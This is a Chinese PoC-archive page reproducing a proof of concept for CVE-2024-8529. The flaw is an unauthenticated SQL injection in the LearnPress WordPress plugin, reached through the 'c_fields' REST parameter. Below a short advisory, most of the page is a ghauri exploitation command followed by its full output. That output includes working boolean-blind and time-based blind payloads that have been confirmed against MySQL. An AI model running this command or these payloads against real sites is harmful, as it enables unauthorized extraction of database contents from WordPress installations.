POC详情: 6cad1616d287746accfbf65320fe08c6e57428ab

来源
关联漏洞
标题: WordPress plugin LearnPress SQL注入漏洞 (CVE-2024-8529)
描述:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin LearnPress 4.2.7版本及之前版本存在SQL注入漏洞,该漏洞源于对用户提供的参数转义不足以及对现有SQL查询准备不足。攻击者利用该漏洞可以从数据库中提取敏感信息。
描述
LearnPress – WordPress LMS Plugin <= 4.2.7 - Unauthenticated SQL Injection via 'c_fields'
介绍
# CVE-2024-8529
LearnPress – WordPress LMS Plugin &lt;= 4.2.7 - Unauthenticated SQL Injection via 'c_fields'

# Description

The LearnPress – WordPress LMS Plugin plugin for WordPress is vulnerable to SQL Injection via the 'c_fields' parameter of the /wp-json/lp/v1/courses/archive-course REST API endpoint in all versions up to, and including, 4.2.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

```
Type: plugin
CVSS Score: 10
CVE: CVE-2024-8529
Slug: learnpress
```
Download Link: [Download learnpress Version 4.2.7](https://downloads.wordpress.org/plugin/learnpress.4.2.7.zip)

# POC

```
ghauri -u "http://kubernetes.docker.internal:80/wp-json/learnpress/v1/courses?c_fields=title,description,duration,-start-date,-end-date" -p c_fields


  ________.__                        .__  {1.3.8}
 /  _____/|  |__ _____   __ _________|__|
/   \  ___|  |  \\__  \ |  |  \_  __ \  |
\    \_\  \   Y  \/ __ \|  |  /|  | \/  |
 \______  /___|  (____  /____/ |__|  |__|
        \/     \/     \/         https://github.com/r0oth3x49
                                 An advanced SQL injection detection & exploitation tool.



[*] starting @ 21:49:47 /2024-10-12/

[21:49:47] [INFO] testing connection to the target URL
[21:49:47] [INFO] testing if the target URL content is stable
[21:49:48] [INFO] target URL content is stable
[21:49:48] [WARNING] heuristic (basic) test shows that GET parameter 'c_fields' might not be injectable
[21:49:48] [INFO] testing for SQL injection on GET parameter 'c_fields'
[21:49:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:49:54] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[21:49:58] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
[21:50:04] [INFO] testing 'Boolean-based blind - Parameter replace'
[21:50:07] [INFO] GET parameter 'c_fields' appears to be 'Boolean-based blind - Parameter replace' injectable
[21:50:07] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'MySQL'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n

[21:55:08] [INFO] testing 'MySQL >= 5.0.12 time-based blind (query SLEEP)'
[21:55:15] [INFO] GET parameter 'c_fields' appears to be 'MySQL >= 5.0.12 time-based blind (query SLEEP)' injectable
[21:55:15] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:55:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:55:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:55:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:55:15] [INFO] testing 'MySQL >= 5.1 AND string error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[21:55:15] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[21:55:15] [INFO] checking if the injection point on GET parameter 'c_fields' is a false positive
GET parameter 'c_fields' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n

Ghauri identified the following injection point(s) with a total of 109 HTTP(s) requests:
---
Parameter: c_fields (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace
    Payload: c_fields=(SELECT (CASE WHEN (04869=4869) THEN 03586 ELSE 3*(SELECT 2 UNION ALL SELECT 1) END))

    Type: time-based blind
    Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
    Payload: c_fields=(SELECT(0)FROM(SELECT(SLEEP(7)))a)
---
[21:55:27] [INFO] testing MySQL
[21:55:27] [INFO] confirming MySQL
[21:55:27] [INFO] the back-end DBMS is MySQL

[21:55:27] [INFO] fetched data logged to text files under '/Users/rwiggins/.ghauri/kubernetes.docker.internal'
```
文件快照

[4.0K] /data/pocs/6cad1616d287746accfbf65320fe08c6e57428ab └── [4.0K] README.md 0 directories, 1 file
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。